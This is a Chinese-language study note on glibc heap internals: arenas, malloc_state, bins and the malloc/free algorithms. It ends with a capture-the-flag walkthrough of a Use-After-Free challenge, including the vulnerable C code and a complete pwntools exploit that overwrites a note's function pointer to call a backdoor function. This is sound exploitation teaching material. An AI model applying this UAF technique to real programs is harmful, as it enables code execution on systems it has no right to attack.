学习材料:
CTF-WIKI:https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/
ctf-all-in-one:https://firmianay.gitbook.io/ctf-all-in-one/3_topics/pwn/3.1.6_heap_exploit_1
Blog: https://noonegroup.xyz/categories/bin/pwn/堆/linux堆/
Angr学习: https://noonegroup.xyz/posts/4c8e6fd4/
堆其实就是程序虚拟地址空间的一块连续的线性区域,它由低地址向高地址方向增长。一般称管理堆的那部分程序为堆管理器。
需要注意的是,在内存分配与使用的过程中,Linux 有这样的一个基本内存管理思想,只有当真正访问一个地址的时候,系统才会建立虚拟页面与物理页面的映射关系。 所以虽然操作系统已经给程序分配了很大的一块内存,但是这块内存其实只是虚拟内存。只有当用户使用到相应的内存时,系统才会真正分配物理页面给用户使用。
堆是可以根据运行时的需要进行动态分配和释放的内存,大小可变。
dlmalloc – General purpose allocator
ptmalloc2 – glibc
- 基于dlmalloc fork出来,在2006年增加了多线程支持。
jemalloc – FreeBSD and Firefox
tcmalloc – Google
libumem – Solaris
PWN的题目大多以glibc形式出现。
基本的堆操作,包括堆的分配,回收,堆分配背后的系统调用
介绍堆目前的多线程支持。
当 n=0 时,返回当前系统允许的堆的最小内存块。
当 n 为负数时,由于在大多数系统上,size_t 是无符号数(这一点非常重要),所以程序就会申请很大的内存空间,但通常来说都会失败,因为系统没有那么多的内存可以分配。
当 p 为空指针时,函数不执行任何操作。
当 p 已经被释放之后,再次释放会出现乱七八糟的效果,这其实就是 double free
。
除了被禁用 (mallopt) 的情况下,当释放很大的内存空间时,程序会将这些内存空间还给系统,以便于减小程序所使用的内存空间。
无论是 malloc 函数还是 free 函数,我们动态申请和释放内存时,都经常会使用,但是它们并不是真正与系统交互的函数。这些函数背后的系统调用主要是 (s)brk函数以及 mmap, munmap函数。
学习了brk和mmap的两个例子
虽然程序可能只是向操作系统申请很小的内存,但是为了方便,操作系统会把很大的内存分配给程序。这样的话,就避免了多次内核态与用户态的切换,提高了程序的效率。
arena
指的是内存区域本身,并非结构
主线程的main arena通过sbrk创建
其他现场arena通过mmap创建
malloc_state
管理arena的核心结构,包含堆堆状态信息、bins链表等
main arena对应的malloc_state结构存储在glibc的全局变量中
其他线程arena对应的malloc_state存储在arena本身当中
bins
bins用来管理空闲内存块,通常使用链表结构来进行组织
chunks
内存块的结构
以下介绍的堆管理环境为glibc2.26以下(不含2.26),即出现tcache之前的堆管理方式
以下演示的环境均是64位程序及操作系统。
该结构用于管理堆,记录每个 arena 当前申请的内存的具体状态,比如说是否有空闲 chunk,有什么大小的空闲 chunk 等等。无论是 thread arena 还是 main arena,它们都只有一个 malloc state 结构。由于 thread 的 arena 可能有多个,malloc state 结构会在最新申请的 arena 中。
malloc_state存储了arena的状态,其中包含了用于管理空闲块的bins链表。
其结构如下,对应字段说明已在注释中给出:
struct malloc_state {
/* Serialize access. */
/* 该变量用于控制程序串行访问同一个分配区,当一个线程获取了分配区之后,
其它线程要想访问该分配区,就必须等待该线程分配完成后才能够使用。*/
__libc_lock_define(, mutex);
/* Flags (formerly in max_fast). */
/* flags 记录了分配区的一些标志,比如 bit0 记录了分配区是否有 fast bin chunk,
bit1 标识分配区是否能返回连续的虚拟地址空间。具体如下 */
int flags;
/* Fastbins */
/* 存放每个 fast chunk 链表头部的指针 */
mfastbinptr fastbinsY[ NFASTBINS ];
/* Base of the topmost chunk -- not otherwise kept in a bin */
/* 指向分配区的 top chunk */
mchunkptr top;
/* The remainder from the most recent split of a small request */
/* 最新的 chunk 分割之后剩下的那部分 */
mchunkptr last_remainder;
/* Normal bins packed as described above */
/* 用于存储 unstored bin,small bins 和 large bins 的 chunk 链表 */
mchunkptr bins[ NBINS * 2 - 2 ];
/* Bitmap of bins, help to speed up the process of determinating if a given bin is definitely empty.*/
/* ptmalloc 用一个 bit 来标识某一个 bin 中是否包含空闲 chunk */
unsigned int binmap[ BINMAPSIZE ];
/* Linked list, points to the next arena */
struct malloc_state *next;
/* Linked list for free arenas. Access to this field is serialized
by free_list_lock in arena.c. */
struct malloc_state *next_free;
/* Number of threads attached to this arena. 0 if the arena is on
the free list. Access to this field is serialized by
free_list_lock in arena.c. */
INTERNAL_SIZE_T attached_threads;
/* Memory allocated from the system in this arena. */
INTERNAL_SIZE_T system_mem;
INTERNAL_SIZE_T max_system_mem;
};
static struct malloc_state main_arena; /* global variable in libc.so */
/*main arena 的 malloc_state 并不是 heap segment 的一部分,而是一个全局变量,存储在 libc.so 的数据段。*/
在程序的执行过程中,我们称由 malloc 申请的内存为 chunk 。这块内存在 ptmalloc 内部用 malloc_chunk 结构体来表示。当程序申请的 chunk 被 free 后,会被加入到相应的空闲管理列表中。
非常有意思的是,无论一个 chunk 的大小如何,处于分配状态还是释放状态,它们都使用一个统一的结构。虽然它们使用了同一个数据结构,但是根据是否被释放,它们的表现形式会有所不同。
malloc_chunk 的结构如下
如果size < max fast,在fast bins中寻找fast chunk,如找到则结束
如果size in_smallbin_range,在small bins中寻找small chunk,如找到则结束
如果size not in_smallbin_range,合并所有fastbin的chunk
循环
a. 检查unsorted bin中的last_remainder
i. 如果满足一定条件,则分裂之,将剩余的chunk标记为新的last_remainder
b. 在unsorted bin 中搜索,同时进行整理
i. 如遇到精确大小,则返回,否则就把当前chunk整理到 small/large bin 中去
c. 在small bin和large bin中搜索最合适的chunk(不一定是精确大小)
使用 top chunk
如果size < max fast,放入fast bin,结束
如果前一个chunk是free的
a. unlink前面的chunk
b. 合并两个chunk,并放入unsorted bin
如果后一个chunk是top chunk,则将当前chunk并入top chunk
如果后一个chunk时free的
a. unlink后面的chunk
b. 合并两个chunk,并放入unsorted bin
前后chunk都不是free的,放入unsorted bins
简称UAF,简单的说,Use After Free 就是其字面所表达的意思,当一个内存块被释放之后再次被使用。但是其实这里有以下几种情况
内存块被释放后,其对应的指针被设置为 NULL , 然后再次使用,自然程序会崩溃。
内存块被释放后,其对应的指针没有被设置为 NULL ,然后在它下一次被使用之前,没有代码对这块内存块进行修改,那么程序很有可能可以正常运转。
内存块被释放后,其对应的指针没有被设置为 NULL,但是在它下一次使用之前,有代码对这块内存进行了修改,那么当程序再次使用这块内存时,就很有可能会出现奇怪的问题。
而我们一般所指的 Use After Free漏洞主要是后两种。此外,我们一般称被释放后没有被设置为 NULL 的内存指针为 dangling pointer。
首先从程序的 menu 函数入手,其中有如下功能
puts(" 1. Add note ");
puts(" 2. Delete note ");
puts(" 3. Print note ");
puts(" 4. Exit ");
1. Add note,该功能代码如下,我们主要关注malloc,首先malloc了一个结构体大小的堆空间,然后又malloc了一个自定义大小的内存空间。
void add_note(){
int i ;
char buf[8];
int size ;
if(count > 5){
puts("Full");
return ;
}
for(i = 0 ; i < 5 ; i ++){
if(!notelist[i]){
notelist[i] = (struct note*)malloc(sizeof(struct note));
if(!notelist[i]){
puts("Alloca Error");
exit(-1);
}
notelist[i]->printnote = print_note_content;
printf("Note size :");
read(0,buf,8);
size = atoi(buf);
notelist[i]->content = (char *)malloc(size);
if(!notelist[i]->content){
puts("Alloca Error");
exit(-1);
}
printf("Content :");
read(0,notelist[i]->content,size);
puts("Success !");
count++;
break;
}
}
}
我们需要注意这其中note结构体,printnote是个函数指针。
+-----------------+
| printnote |
+-----------------+
| content | size
+-----------------+------------------->+----------------+
| real |
| content |
| |
+----------------+
2.delete_note 会根据给定的索引来释放对应的 note。但是值得注意的是,在 删除的时候,只是单纯进行了 free,而没有设置为 NULL,那么显然,这里是存在 Use After Free 的情况的。
首先通过delete_note我们发现,UAF是存在的,那么我们分析程序后,注意到里边还有一个magic这个后门函数,那我们有什么办法才能使得这个magic函数执行呢?一个很直接的想法是修改 note 的 put 字段为 magic 函数的地址,从而实现在执行 print note 的时候执行 magic 函数。
首先我们,申请 note0,real content size 为 32;申请 note1,real content size 为 32。
addnote(32,"ddaa") // 0x8761008 0x8761018
addnote(32,"ddaa") // 0x8761040 0x8761050
然后我们释放 note0,释放 note1
delnote(0)
delnote(1)
此时,大小为 16的 fast bin chunk 中链表为 note1->note0,申请 note2,并且设置 real content 的大小为 8。
那么根据堆的分配规则,note2 其实会分配 note1 对应的内存块,如下图地址0x08761040处;
real content 对应的 chunk 其实是 note0,如下图地址0x08761008处。
然后,如下图地址0x08761008(note2 real content),我们向该 chunk 部分写入 magic 的地址,那么由于我们在释放内存后没有将 note0 置为 NULL。当我们再次尝试输出 note0 的时候,程序就会调用 magic 后门函数,输出flag。
addnote(8,p32(magic))
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *
r = remote("localhost", 10001)
def addnote(size,content):
r.recvuntil(":")
r.sendline("1")
r.recvuntil(":")
r.sendline(str(size))
r.recvuntil(":")
r.sendline(content)
def delnote(idx):
r.recvuntil(":")
r.sendline("2")
r.recvuntil(":")
r.sendline(str(idx))
def printnote(idx):
r.recvuntil(":")
r.sendline("3")
r.recvuntil(":")
r.sendline(str(idx))
magic = 0x08048986
addnote(32,"ddaa")
addnote(32,"ddaa")
delnote(0)
delnote(1)
addnote(8,p32(magic))
printnote(0)
r.interactive()
输出结果如下:
未完待续...
PWN公开课视频:https://www.bilibili.com/video/BV14i4y1V7rw?from=search&seid=3291996234559772052